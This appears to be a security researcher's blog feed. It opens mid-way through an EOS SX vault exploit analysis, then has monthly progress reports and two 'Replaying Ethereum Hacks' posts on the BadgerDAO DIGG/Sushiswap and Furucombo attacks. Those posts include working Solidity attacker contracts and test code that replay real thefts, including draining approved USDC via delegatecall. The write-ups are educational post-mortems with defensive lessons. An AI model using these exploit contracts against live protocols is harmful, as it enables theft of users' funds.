The vault.update inline action created in step 3) is now executed which overwrites the update in step 4) as the balance of the vaults.sx contract has not changed yet, because the inline action performing the redeem transfer to the attacker still has to be executed.

[[eosio::action]]
void sx::vaults::update( const symbol_code id )
{
    // get balance from account
    // (!) still the old balance as the transfer out has not been executed yet
    const asset balance = eosio::token::get_balance( contract, account, sym.code() );
    asset staked = { 0, balance.symbol };
    
    // update balance
    _vault.modify( vault, get_self(), [&]( auto& row ) {
        // (!) balance is the original balance and overwrites previous update
        row.deposit.quantity = balance + staked;
        row.staked.quantity = staked;
        row.last_updated = current_time_point();
    });
}

At some point, the second redeem of the other half of the SX tokens is performed using the original funds (instead of the funds - first redeem output). The share is then redeemed on an inflated total supply which leads to a bigger payout than their actual pro-rata share. The attacker then goes on and repeats these steps several times until all funds are trained.

In reality, the attack is more complicated as the attacker cannot directly call vault.update but needs to take a tiny flash.sx flashloan which then triggers the vault update.

An example transaction performing this can be seen here The stolen tokens are currently held in the aquudqdmxesw account.

Progress Report - April 2021

Sun, 02 May 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in April

I worked 55 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: Paradigm CTF 2021 - swap (A type of exploit I’ve never seen before.)
Song of the Month: Naval Ravikant & Akira the Don - More than you value yourself

You should be working on your product, you should be exercising and eating healthy. That’s all you have time for.
TV series of the Month: I watched Hunter X Hunter for the first time, it’s been on my to-watch list for a long time.

What was worked on

Besides client work, I participated in all C4 contests. New results of old contests are not in yet, so I can’t provide an update on my current #1 spot on the leaderboard. I got called a wizard though if that’s worth something. 🧙‍♂️

Platform Growth

Website

Sessions went down to 8,000 on my website.

I did not stick to my bi-weekly schedule of releasing a blog post. I missed all of this month’s post as I spent all weekends on C4 contests. 😁 They provide a better ROI and I love the team and competing here, even though I’m usually not a competitive person at all and I could care less if I win or not.

There were some interesting hacks this month, I covered most of them on Twitter instead.

Subscribers

My twitter followers increased by 36 to 824.

Sales

Learn EOS Development

I sold 8 books last month.

Trading

I made 52 EOS = 346.32 USD last month arbitrage-trading crypto on EOS. I don’t like the new powerup system, CPU prices have increased drastically. This is completely passive, so I’ll just keep it running while it slowly fades out.

What’s next

I’m pretty happy with how I allocated my time this month, I just hope to write a new blog post again.

Progress Report - March 2021

Sat, 03 Apr 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in March

I worked 71 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: Uniswap V3 WP and Noah Zinsmeister’s Twitch stream walking through the code
Song of the Month: TrueMendous & Kofi Stone - Y
TV series of the Month: Did not stat any new ones.

What was worked on

Mostly client work, but I also did some bug bounties.

I scored first on C4’s second bug contest (ElasticDAO) by discovering 5 unique high-severity issues and won 9.19 ETH! Good news: This puts me as #1 on the leaderboard!
Bad news: This puts me as #1 on the leaderboard and I’ll have to participate in all contests now to defend my position. 😁

But I love C4, it’s a very fun and flexible way for bug hunters to earn an income and improve their skills. It also seems to be very useful for the projects - judging by the queue of three contests already lined up.

Platform Growth

Website

Sessions increased by 1k to 9,781 on my website.

I did not stick to my bi-weekly schedule of releasing a blog post. I missed the second post this month.

Replaying Ethereum Hacks - Sushiswap BadgerDAO’s Digg

Subscribers

My twitter followers increased by 46 to 788, most new followers came from the C4 contest tweets.

Sales

Learn EOS Development

I sold 5 books last month.

Trading

My arbitrage on EOS mainnet made ~90 EOS last month.

What’s next

Defend my #1 spot on C4 although I don’t know how much time I can commit to it this April. However, this shall not be a cheap excuse to not try to find all bugs.

Replaying Ethereum Hacks - Sushiswap BadgerDAO's Digg

Sun, 07 Mar 2021 00:00:00 GMT

In this part of the Replaying Ethereum Hacks series, we will look at a vulnerability that is common among yield aggregators. Many of these protocols disclose a function to automatically convert the profits to a different token by trading on a decentralized exchange like Uniswap. This in and of itself already opens the protocol up to a potential sandwich attack. The profitability of such an attack can be dramatically improved if the attacker can force the protocol to trade in an illiquid pool.

A recent example of such an arbitrage attack could be observed in BadgerDAO’s DIGG <> WBTC Sushiswap pool, where the attacker was able to make a profit of 81 ETH.

Let’s understand the attack by reading the code of the relevant contracts and then replay it by developing a custom attacker contract.

Background

The Sushiswap protocol emerged as a fork of Uniswap. It extends Uniswap’s automated market maker with new features like liquidity mining. The two contracts involved in this attack are:

Sushiswap Pair

The Sushiswap pair collects fees whenever anyone adds or removes liquidity. These fees are sent to an account defined in the Sushiswap Factory contract. Note that the fees are sent in the form of LP tokens instead of the underlying pool tokens:

// simplified for readability
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
    address feeTo = IUniswapV2Factory(factory).feeTo(); // SushiMaker address
    uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
    uint rootKLast = Math.sqrt(kLast);
    if (rootK > rootKLast) {
        uint numerator = totalSupply.mul(rootK.sub(rootKLast));
        uint denominator = rootK.mul(5).add(rootKLast);
        uint liquidity = numerator / denominator;
        // mints liquidity tokens for feeTo
        if (liquidity > 0) _mint(feeTo, liquidity);
    }
}

The feeTo address is taken from the Sushiswap Factory contract and resolves to the SushiMaker contract. The actual fee computation is quite complex but it’s essentially just transferring 0.05% of the traded amount to the fee account. The other 0.25% go directly to the liquidity providers. The computation is well explained in the Uniswap V2 white paper.

Collecting this 0.05% fee at the time of the trade would impose an additional gas cost on every trade. To avoid this, accumulated fees are collected only when liquidity is deposited or withdrawn. The contract computes the accumulated fees, and mints new liquidity tokens to the fee beneficiary, immediately before any tokens are minted or burned. The total collected fees can be computed by measuring the growth in √k (that is, √x · √y) since the last time fees were collected. - Uniswap V2 white paper - 2.4 Protocol fee

SushiMaker

The SushiMaker contract is a reward contract which redistributes all collected fees from all pools to xSushi stakers. Remember that the fees are being sent as LP tokens and sending out possibly hundreds of different tokens to each staker is inefficient. Therefore, the SushiMaker removes liquidity by burning the LP tokens for the pool’s underlying tokens, and afterwards converts both pool tokens to Sushi. This immediately raises the question which is at the heart of this exploit:

Which path should such a trade take?

In our case, the SushiMaker receives DIGG/WBTC LP tokens and redeems them for DIGG and WBTC tokens. The most liquid trade that would net the most profit for xSushi stakers would be:

WBTC: WBTC -> WETH -> SUSHI
DIGG: DIGG -> WBTC -> WETH -> SUSHI

Coming up with a general algorithm that finds the most efficient trade path would consume too much gas if done in a contract. Instead, the SushiMaker allows admins to predefine these trade paths, called bridges, for each token.

// this functions gets called recursively
// _convertStep(token0 = WBTC, token1= DIGG)
// trades WBTC -> ETH, DIGG -> ETH
// __convertStep(ETH, ETH)
// trades ETH -> SUSHI
function _convertStep(
        address token0,
        address token1,
        uint256 amount0,
        uint256 amount1
) internal returns (uint256 sushiOut) {
    if (token0 == token1) {
        uint256 amount = amount0.add(amount1);
        if (token0 == sushi) {
            // ...
        } else if (token0 == weth) {
            sushiOut = _toSUSHI(weth, amount);
        } else {
            // ...
        }
    } /* other cases */ else {
        // eg. DIGG - WBTC
        address bridge0 = bridgeFor(token0);
        address bridge1 = bridgeFor(token1);
        if (bridge0 == token1) {
            // ...
        } else if (bridge1 == token0) {
            // ...
        } else {
            sushiOut = _convertStep(
                bridge0,
                bridge1, // eg. DIGG - WBTC - and bridgeFor(WBTC) = WETH
                _swap(token0, bridge0, amount0, address(this)),
                _swap(token1, bridge1, amount1, address(this))
            );
        }
    }
}

The default bridge for each token is the token’s WETH pair. However, such a pair does not exist for DIGG and a bridge should have been set up such that DIGG is traded for WBTC first. This bridge was missing, but the SushiMaker contract still tried to trade in the non-existent DIGG <> WETH pair whenever someone called the SushiMaker’s convert function. Meaning, all these function calls failed and a large number of tokens accumulated.

Exploit

With this knowledge, the exploit idea is clear:

Create the missing DIGG <> WETH pair.
Provide a tiny amount of liquidity, creating a very illiquid pool.
Call the SushiMaker.convert(DIGG, WBTC) function to trade all accumulated DIGG in the shallow pool. The SushiMaker contract ends up trading a large number of DIGG tokens for a negligible amount of WETH.
Rug pull: Withdraw all liquidity again. The attacker receives the DIGG from the SushiMaker trade.
Sell DIGG in the more liquid DIGG <> WBTC pair.

Let’s reimplement these steps.

Implementation

An important thing to note is that the SushiMaker.convert function performing the trade may only be called by externally-owned accounts (EOAs):

modifier onlyEOA() {
    // Try to make flash-loan exploit harder to do.
    require(msg.sender == tx.origin, "SushiMaker: must use EOA");
    _;
}

function convert(address token0, address token1) external onlyEOA() {
    _convert(token0, token1);
}

Therefore, we cannot create a contract that performs all exploit steps in a single transaction. This makes the exploit risky because after having the SushiMaker trade in the illiquid pool, generalized frontrunners or arbitrage bots might pick up on this arbitrage opportunity and front-run the final rug pull. (It wouldn’t be the first time that a generalized frontrunner bot performs a whitehack.) As we just want to confirm this attack in a local environment, we simply ignore this.

Creating the missing WETH pool and adding liquidity

Anyone can create a pair in Sushiswap, so this is straight forward. To provide liquidity, both tokens of the pair must be acquired, which means we need WETH and DIGG. We get WETH by depositing ETH, and we can get DIGG by trading WETH -> WBTC -> DIGG. We call WBTC the wethBridgeToken in this case as this token, out of the vulnerable DIGG - WBTC pair, is the one that already has an existing WETH bridge.

function createAndProvideLiquidity(
    IERC20 wethBridgeToken, // WBTC
    IERC20 nonWethBridgeToken // DIGG
) external payable returns (IUniswapV2Pair pair) {
    // first acquire both tokens for vulnerable pair
    // we assume one token of the pair has a WETH pair
    // deposit all ETH for WETH
    // trade WETH/2 -> wethBridgeToken -> nonWethBridgeToken
    WETH.deposit{value: msg.value}();
    WETH.approve(address(sushiRouter), msg.value);
    address[] memory path = new address[](3);
    path[0] = address(WETH);
    path[1] = address(wethBridgeToken);
    path[2] = address(nonWethBridgeToken);
    uint256[] memory swapAmounts =
        sushiRouter.swapExactTokensForTokens(
            msg.value / 2,
            0,
            path,
            address(this),
            type(uint256).max
        );
    uint256 nonWethBridgeAmount = swapAmounts[2];

    // create pair
    pair = IUniswapV2Pair(
        sushiFactory.createPair(address(nonWethBridgeToken), address(WETH))
    );

    // add liquidity
    nonWethBridgeToken.approve(address(sushiRouter), nonWethBridgeAmount);
    sushiRouter.addLiquidity(
        address(WETH),
        address(nonWethBridgeToken),
        msg.value / 2, // rest of WETH
        swapAmounts[2], // all DIGG tokens we received
        0,
        0,
        address(this),
        type(uint256).max
    );
}

Calling createAndProvideLiquidity(WBTC, DIGG) with a tiny amount of ETH sets up the attack and the SushiMaker can be triggered to trade in our illiquid pool.

SushiMaker trades in illiquid pool

The SushiMaker.convert(WBTC, DIGG) call must be performed from an EOA:

await sushiMaker.connect(attackerEOA).convert(WBTC, DIGG)
const diggWethPair = await ethers.getContractAt(
  `IUniswapV2Pair`,
  await sushiFactory.getPair(weth.address, DIGG)
)
// can check if SushiMaker's DIGG is in reserve
const [reserveDigg, reserveWeth] = await diggWethPair.getReserves()

Rug Pull

Lastly, we let the contract redeem the LP tokens for the underlying tokens again, which should now contain all DIGG tokens that previously accumulated in the SushiMaker contract.

function rugPull(
    IUniswapV2Pair wethPair, // DIGG <> WETH
    IERC20 wethBridgeToken // WBTC
) external payable {
    // redeem LP tokens for underlying
    IERC20 otherToken = IERC20(wethPair.token0()); // DIGG
    if (otherToken == WETH) {
        otherToken = IERC20(wethPair.token1());
    }
    uint256 lpToWithdraw = wethPair.balanceOf(address(this));
    wethPair.approve(address(sushiRouter), lpToWithdraw);
    sushiRouter.removeLiquidity(
        address(WETH),
        address(otherToken),
        lpToWithdraw,
        0,
        0,
        address(this),
        type(uint256).max
    );

    // trade otherToken -> wethBridgeToken -> WETH
    uint256 otherTokenBalance = otherToken.balanceOf(address(this));
    otherToken.approve(address(sushiRouter), otherTokenBalance);
    address[] memory path = new address[](3);
    path[0] = address(otherToken);
    path[1] = address(wethBridgeToken);
    path[2] = address(WETH);

    uint256[] memory swapAmounts =
        sushiRouter.swapExactTokensForTokens(
            otherTokenBalance,
            0,
            path,
            address(this),
            type(uint256).max
        );

    // convert WETH -> ETH
    WETH.withdraw(swapAmounts[2]);
    (bool success, ) = msg.sender.call{value: address(this).balance}("");
    require(success, "final transfer failed");
}

After receiving DIGG, we do a final reverse trade by converting DIGG -> WBTC -> WETH. This nets the attacker a nice profit by trading in the higher liquidity DIGG <> WBTC pool.

The full test code is available in this repo.

Conclusion

The attack we’ve seen is quite common and also happened in Yearn’s v1 vaults, even though it looks a lot more complex. The main differences are that the attacker had to use Curve pools and do several smaller trades to circumvent the slippage parameter set by the function.

When developing contracts that automatically convert tokens, it’s important to check what trade paths are taken. One should ensure that each pair on each trade path has enough liquidity to support the expected amount of tokens. In addition, tight slippage parameters and/or a max conversion amount per function call can lead to these attacks becoming unprofitable for an attacker.

This post is part of the Replaying Ethereum Hacks series

Progress Report - February 2021

Mon, 01 Mar 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in February

I worked 104 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: Curve Vulnerability Report. (It’s old but I only came across it now.)
Song of the Month: Bitcoin pls go to moon 1hr. Relevant again.
TV series of the Month: Jujutsu Kaisen S01

What was worked on

I took part in the Paradigm CTF, scored well and got introduced to a lot of great people.
Most of my allocated free time was spent looking at ETH hacks and writing blog posts. I started a new series, Replaying Ethereum Hacks.
business-related tasks

Platform Growth

Website

Sessions on my website went up to 8,849. I think it’s because I’m writing more blog posts to a wider audience again. Plus, these posts are included in some ETH newsletters.

I stuck to my bi-weekly schedule of releasing a blog post. ✅ I even wrote three blog posts instead of just two!

Subscribers

My twitter followers increased by 56 to 742.

Sales

Learn EOS Development

I sold 6 books last month.

Trading

I made 93 EOS last month arbitrage-trading crypto.

What’s next

Investigate more interesting hacks and write about them. I thought about making the Replaying Hacks posts a video series on YouTube. I become more and more a visual learner myself and watching a video is more relaxing than reading. 😁 I could create a gitcoin grant to promote it. But first I need better equipment …

Replaying Ethereum Hacks - Furucombo

Sun, 28 Feb 2021 00:00:00 GMT

Furucombo has been exploited yesterday for ~15M USD.

Let’s dive into the attack, understand it by reading the code of the relevant contracts, and then replay the hack using a custom contract.

Background

Furucombo lets users build custom DeFi flows through a drag’n’drop interface - think Zapier or If This Then That for DeFi.

The entry-point for the attack is the Furucombo Proxy that some users approved with many different tokens worth millions of dollars. The gist of the attack is that anyone can call into the contract, make it do a delegatecall to a user-controlled contract, which then calls transferFrom to steal previously-approved user tokens. However, as we will see, this delegatecall is done through another layer of indirection, the Aave V2 Proxy.

The following code is run when calling the batchExec function:

function batchExec(
    address[] memory tos,
    bytes32[] memory configs,
    bytes[] memory datas
) public payable {
    _preProcess(); // not important 
    _execs(tos, configs, datas); // LOOK HERE
    _postProcess(); // not important
}

function _execs(
        address[] memory tos,
        bytes32[] memory configs,
        bytes[] memory datas
    ) internal {
  // ...
  for (uint256 i = 0; i < tos.length; i++) {
      // Check if the data contains dynamic parameter
      if (!configs[i].isStatic()) {
          // not important
      }
      // Check if the output will be referenced afterwards
      if (configs[i].isReferenced()) {
          // not important
      } else {
          // LOOK HERE
          _exec(tos[i], datas[i]);
      }
      // not important
  }
}

function _exec(address _to, bytes memory _data)
    internal
    returns (bytes memory result)
{
    // PERFORMS WHITELIST CHECK
    // expands to IRegistry(_getRegistry()).isValid(_to);
    require(_isValid(_to), "Invalid handler");
    _addCubeCounter();
    assembly {
        let succeeded := delegatecall(
            sub(gas(), 5000),
            _to,
            add(_data, 0x20),
            mload(_data),
            0,
            0
        )
        
        // ... more stuff
    }
}

Anyone can call batchExec with a list of contracts and payloads, and these contracts are then processed one by one. If the contract is valid a delegatecall to the contract is executed. At the time of the exploit the Aave V2 contract was registered as valid. Notice how the Aave contract is a proxy contract itself:

contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
  function initialize(address _logic, bytes memory _data) public payable {
    require(_implementation() == address(0));
    assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
    _setImplementation(_logic);
    if (_data.length > 0) {
      (bool success, ) = _logic.delegatecall(_data);
      require(success);
    }
  }

  fallback() external payable {
    _willFallback();
    _delegate(_implementation());
  }

  // inherited from Proxy
  function _delegate(address implementation) internal {
    assembly {
      calldatacopy(0, 0, calldatasize())

      // Call the implementation.
      // ANOTHER DELEGATECALL TO THE IMPLEMENTATION
      let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

      // ... more stuff
    }
  }

  // noop
  function _willFallback() internal virtual {}
}

In its fallback function it does another delegatecall to the implementation logic contract. And anyone can set the implementation contract by calling its initialize action.

One fundamental thing to understand here is that when doing a delegatecall, the storage of the caller is used. This contract might already be initialized under its own context storage, but it was not initialized in the Furucombo contract’s storage yet. I am also not sure if it was ever supposed to be initialized from the Furucombo proxy or why it was added to the whitelist. Fact is, that it allows a delegatecall to the attacker contract through these two steps:

Setup: Call Furucombo.batchExec with the AaveV2Proxy address. This passes the whitelist and _delegatecall_s to the Aave proxy. The attacker chooses the function data to be initialize(attackerContract) which then sets the implementation contract to the attacker contract.
Attack: The attacker can now use the double-delegation chain to call into their attacker contract while still being under the Furucombo contract’s context. The attacker contract itself is simple and just needs to call transferFrom(victim, attacker, allowedBalance) to steal the funds from victims that approved the Furucombo contract.

Furucombo.batchExec(aaveV2Proxy, attackerData)
=delegatecall=> aaveV2Proxy.fallback(attackerData)
=delegatecall=> aaveV2Proxy.logicContract.fallback(attackerData)

Implementation

Let’s replay this hack to confirm the attack vector. It’s enough to replay the attack for a single victim, stealing other tokens is the same. For example, we can replay this transaction which steals 1.7M USDC among other tokens.

describe("Furucombo Hack", function () {
  // USDC victim of this hack transaction:
  // https://etherscan.io/tx/0x8bf64bd802d039d03c63bf3614afc042f345e158ea0814c74be4b5b14436afb9
  const victimAddress = `0x13f6f084e5faded2276def5149e71811a7abeb69`;
  let victimBalance: BigNumber;

  it("checks allowances", async function () {
    // check that a victim approved the furucombo proxy
    victimBalance = await usdc.balanceOf(victimAddress);
    const allowance = await usdc.allowance(
      victimAddress,
      furucomboProxy.address
    );
    console.log(
      `Victim USDC balance: ${ethers.utils.formatUnits(
        victimBalance,
        6
      )}\nAllowance of Furucombo Proxy: ${allowance.toHexString()}`
    );
  });

  it("checks _isValid(aaveV2Proxy)", async function () {
    // is a private storage field, need to read it raw
    const HANDLER_REGISTRY_SLOT = `0x6874162fd62902201ea0f4bf541086067b3b88bd802fac9e150fd2d1db584e19`;
    const registryAddr = BigNumber.from(
      await ethers.provider.getStorageAt(
        furucomboProxy.address,
        HANDLER_REGISTRY_SLOT
      )
    ).toHexString();
    console.log(`Registry address: ${registryAddr}`);
    const registry = await ethers.getContractAt(`IRegistry`, registryAddr);
    const isValid = await registry.isValid(aaveV2Proxy.address);
    expect(isValid, "!isValid").to.be.true;
  });
});

We fork the ETH mainnet from block number 11940499 and confirm that the victim approved the Furucombo contract and that the Aave V2 proxy is registered as valid.

For the actual attack, we can create a smart contract that has two functions, one for the setup step, one for the attack:

contract Attacker {
    IProxy public constant furucombo =
        IProxy(0x17e8Ca1b4798B97602895f63206afCd1Fc90Ca5f);
    IAaveV2Proxy public constant aaveV2Proxy =
        IAaveV2Proxy(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);

    function setup() external payable {
        // https://ethtx.info/mainnet/0x6a14869266a1dcf3f51b102f44b7af7d0a56f1766e5b1908ac80a6a23dbaf449
        address[] memory tos = new address[](1);
        bytes32[] memory configs = new bytes32[](1);
        bytes[] memory datas = new bytes[](1);
        // aaveV2Proxy is whitelisted and passes registry._isValid(aaveV2Proxy)
        // then delegatecalls to aaveV2Proxy.initialize(this, "");
        // which stores implementation address
        tos[0] = address(aaveV2Proxy);
        datas[0] = abi.encodeWithSelector(
            aaveV2Proxy.initialize.selector,
            address(this),
            ""
        );
        furucombo.batchExec(tos, configs, datas);
    }

    function attack(IERC20 token, address sender) external payable {
        address[] memory tos = new address[](1);
        bytes32[] memory configs = new bytes32[](1);
        bytes[] memory datas = new bytes[](1);
        tos[0] = address(aaveV2Proxy);
        datas[0] = abi.encodeWithSelector(
            this.attackDelegated.selector,
            token,
            sender
        );
        // aaveV2Proxy is whitelisted and passes registry._isValid(aaveV2Proxy)
        // then delegatecalls to aaveV2Proxy.fallback
        // which delegatecalls again to its implementation address
        // which was changed in setup to "this"
        // meaning, furucombo delegatecalls to this.attackDelegated
        furucombo.batchExec(tos, configs, datas);
    }

    function attackDelegated(IERC20 token, address sender) external payable {
        token.transferFrom(sender, tx.origin, token.balanceOf(sender));
    }
}

Calling setup followed by attack(usdcAddress, victimAddress) does indeed end up netting the attacker 1.7M USDC. The full test code is available in this repo.

To sum up:

Be careful of initializer functions. There is no such thing as “a contract (or storage field) is initialized”, it’s always relative to the current context - which can be changed via delegatecall
Having a whitelist is great, but blindly adding a contract to a whitelist because it’s from a well-known, audited project is a bad idea. Check how the contract composes with your project

Audits

A question that I’ve seen being asked a lot is why this hasn’t been caught during the audits. In general, audits are done on the smart contract code disregarding any deployments. This attack was only possible because the Furucombo team keeps a dynamic whitelist and they manually whitelisted a vulnerable contract. While the audit should definitely have stated that one needs to check whether whitelisting a contract leads to vulnerabilities, the decision on what contracts to add, and therefore the responsibility to do due diligence, is solely on the project party.

This post is part of the Replaying Ethereum Hacks series